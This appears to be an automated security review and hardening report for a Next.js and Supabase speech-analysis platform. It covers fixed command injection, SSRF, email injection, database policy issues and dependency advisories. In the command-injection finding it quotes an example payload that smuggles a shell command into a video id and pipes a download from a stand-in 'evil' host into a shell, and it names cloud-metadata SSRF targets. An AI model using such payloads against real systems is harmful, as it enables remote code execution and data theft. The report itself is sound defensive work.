Security Review & Hardening Report

Orator / ACA — Neural Speech Analysis platform (Next.js 14 App Router + Supabase)

Repository: mickhatzikostas220-design/speech-analyzer2 • Branch: `claude/compassionate-brahmagupta-b1wvi9` • Date: 2026-06-25 • Automated review

1	2	5	6	17
CRITICAL fixed	HIGH fixed	MEDIUM fixed	deps patched	files changed

1. Executive summary

A full security review was performed across the application code (56 API routes), the Supabase database (25 tables, RLS policies, storage), and the dependency tree. The most serious finding was a **command-injection / remote-code-execution** path in the ClipFlow rendering pipeline, now fixed. The Supabase posture was found to be **fundamentally sound** — Row Level Security is enabled on every table and the live policies correctly scope rows to their owner. Notably, two dangerous policies present in the committed SQL files were **never applied to the live database**, so there was no live data exposure; the files were corrected anyway to keep a fresh deploy safe. All fixes are committed to the branch above and the production build passes cleanly.

2. Application code findings & fixes

CRITICAL Command injection → RCE via YouTube URL in the render pipeline

Where: `lib/clipflow/youtube.ts` (parse) → `lib/clipflow/clipper.ts:108` (sink)

Issue: `parseSourceUrl()` took the `v=` video id straight from the user-supplied URL with no validation, stored it, and later interpolated it into a shell command (`yt-dlp ... "https://youtube.com/watch?v=${id}"` run via `exec`). An authenticated (invite-only) user could submit `watch?v=x";curl evil|sh;"` and execute arbitrary commands on the render host.

Fix: (1) Whitelist YouTube ids at the parse boundary (`^[A-Za-z0-9_-]{11}$`) and re-validate before use; (2) convert every media subprocess call from shell `exec(string)` to argv `execFile(cmd, [args])` — no shell is involved, so arguments can never be interpreted. Applied to `clipper.ts` and `lib/editor/ffmpeg.ts` .

HIGH SSRF in `/api/brand/extract`

Where: `lib/brand/extract.ts`

Issue: The brand extractor fetched an arbitrary user-supplied URL server-side with `redirect: 'follow'` and no IP filtering — reachable internal targets included cloud metadata (`169.254.169.254`), `localhost` , and RFC-1918 ranges, including via redirect.

Fix: New `lib/net/ssrf.ts` guard resolves the host and rejects private / loopback / link-local / reserved IPs (v4 & v6), allows only http(s), and re-validates **every redirect hop** manually. The brand fetch now routes through `safeFetch()` .

HIGH Shell `exec` across all media helpers

Where: `lib/editor/ffmpeg.ts` , `lib/clipflow/clipper.ts`

Issue: All ffmpeg/ffprobe/yt-dlp calls used `promisify(exec)` with interpolated strings — the structural pattern behind the CRITICAL above.

Fix: Migrated every call to `execFile` with an argument array, structurally removing the entire shell-injection class.

MEDIUM **HTML / header injection into notification emails**

Where: `lib/email.ts` ← unauthenticated `/api/request-access`

Issue: User-supplied `name` / `email` / `reason` were interpolated into admin email HTML (and the subject) with no escaping — enabling injected phishing markup in the admin's inbox.

Fix: Added `esc()` HTML-escaping on all user fields and `oneLine()` CR/LF stripping on the subject.

MEDIUM **No rate limiting on unauthenticated endpoints**

Where: `/api/request-access` , `/api/public/inquiry`

Issue: Each call writes to the DB and/or sends an outbound email; with no throttle they were abusable for spam / email-bombing / DB flooding.

Fix: New `lib/rate-limit.ts` IP fixed-window limiter — 5/hr on access requests, 10/hr on inquiries (HTTP 429 + `Retry-After`). Note: in-memory per instance; back with Redis/Upstash for hard multi-instance guarantees.

MEDIUM **Missing security headers**

Where: `next.config.js` (was empty)

Fix: Added `X-Frame-Options: DENY` , `frame-ancestors 'none'` , `X-Content-Type-Options: nosniff` , `Referrer-Policy` , `Strict-Transport-Security` , and `Permissions-Policy` globally. A full `Content-Security-Policy` was intentionally deferred (third-party fonts / Remotion / embeds need a deliberate allowlist) — see recommendations.

MEDIUM **ClipFlow token crypto — weak-secret acceptance**

Where: `lib/clipflow/crypto.ts`

Fix: Enforce a minimum 16-char secret before deriving the AES-256-GCM key. (Remaining recommendations: per-record random salt and removing the `SUPABASE_SERVICE_ROLE_KEY` fallback — see §5.)

LOW **Signed-upload routes didn't verify project ownership**

Where: editor & script `upload` / `signed-upload` routes (4 files)

Storage paths were already prefixed with the caller's own `user.id` (no cross-user impact), but ownership of the target project id wasn't checked.

Fix: Verify the project belongs to the caller (`.eq('user_id', user.id)`) before issuing a signed URL or upload; 404 otherwise.

3. Supabase database review

RLS is **enabled on all 25 tables**; secrets tables (`agent_api_keys` , `clipflow_secrets` , `clipflow_connections` , …) are correctly owner-scoped with both `USING` and `WITH CHECK` , and values are encrypted at rest. The live security advisor returned only one minor warning.

Item	Severity	Live status	Action
`feedback_points` / `engagement_timeline` INSERT `with check (true)`	HIGH*	**Not applied to live DB** (no insert policy live → safe)	Corrected in `schema.sql` to owner-scoped checks so a fresh deploy stays safe
Blanket `"Service reads speeches"` storage policy	HIGH*	**Not applied to live DB** (only per-user read policy live → safe)	Removed from `schema.sql` with a warning comment
UPDATE policies missing `WITH CHECK` (profiles, analyses)	LOW	Present	Added `WITH CHECK` in `schema.sql`
Leaked-password protection disabled (HaveIBeenPwned)	WARN	Disabled	Recommend enabling — Auth dashboard toggle (see §5)
`clipflow_secrets` RLS re-evaluates `auth.uid()` per row	PERF	Live	Wrap as `(select auth.uid())` ; applied in SQL files (perf only)
One-sheet public exposure relies on app-code projection, not RLS	LOW	Safe (selects only id, brand, slug via service role)	Recommend a dedicated public view; never `select('*')` on profiles

* HIGH if deployed — these are latent footguns in the committed SQL, not live exposures. The live database does not contain these policies.

4. Dependency vulnerabilities (npm audit)

Started at **14** advisories (9 high, 5 moderate). Non-breaking fixes applied via `npm audit fix` → down to **8**. The remaining 8 are all inside **Next.js 14.2.29** and its bundled `postcss` / eslint `glob` , which require a **major upgrade to Next 16** (breaking) — deliberately **not** auto-applied.

Package	Severity	Status
`form-data` (CRLF injection)	HIGH	FIXED
`minimatch` (ReDoS, transitive eslint)	HIGH	FIXED
`js-yaml` (DoS)	MOD	FIXED
`uuid` (bounds check)	MOD	FIXED
`next` 14.2.29 (SSRF / cache-poisoning / XSS / DoS — 20+ advisories)	HIGH	NEEDS MAJOR UPGRADE
`postcss` / eslint `glob` (bundled in next)	MOD/HIGH	NEEDS MAJOR UPGRADE

5. Recommended follow-ups (not auto-applied)

- **Upgrade Next.js** off 14.2.29 — it carries many high-severity advisories (middleware-redirect SSRF, cache poisoning, image-optimizer DoS, App-Router XSS). This is a major-version change; test before shipping.
- **Enable Supabase leaked-password protection** (Auth → Policies → "Check against HaveIBeenPwned") — one toggle, no code.
- **Add a Content-Security-Policy** with an allowlist for fonts.googleapis.com / Remotion / any embeds.
- **ClipFlow crypto:** move to a per-record random salt and require a dedicated `CLIPFLOW_TOKEN_SECRET` (drop the service-role-key fallback so key rotation doesn't brick stored tokens). Safe to do now — the secrets tables are currently empty.
- **Back rate limiting with a shared store** (Upstash Redis) for multi-instance guarantees, and extend it to the OAuth callback routes.
- **Defense-in-depth:** add a test/lint asserting every new `/api` route calls `auth.getUser()` , since middleware excludes `/api` by design.

6. What was verified clean

- No SQL injection — all DB access uses the Supabase query builder (parameterized); no raw SQL / `.rpc()` interpolation.
- No decrypted secrets / OAuth tokens leak to the browser — key/connection endpoints return only last-4 hints.
- No hardcoded secrets in source (only `.env.example` placeholders).
- OAuth callbacks (Google, ClipFlow platforms) validate the `state` param against an httpOnly cookie — no CSRF / open redirect.
- No cross-user IDOR found in the API routes — ownership is consistently enforced with `.eq('user_id', user.id)`.
- Admin routes correctly gate on `ADMIN_EMAIL` / signed tokens.
- Production build passes (compile + type-check + 42 static pages) after all changes.

Generated automatically as part of a scheduled review routine. All code changes are on branch `claude/compassionate-brahmagupta-b1wvi9` (commit pushed) with an accompanying draft pull request. Findings are based on static review of the codebase and live Supabase advisor/RLS inspection; they are not a substitute for a manual penetration test.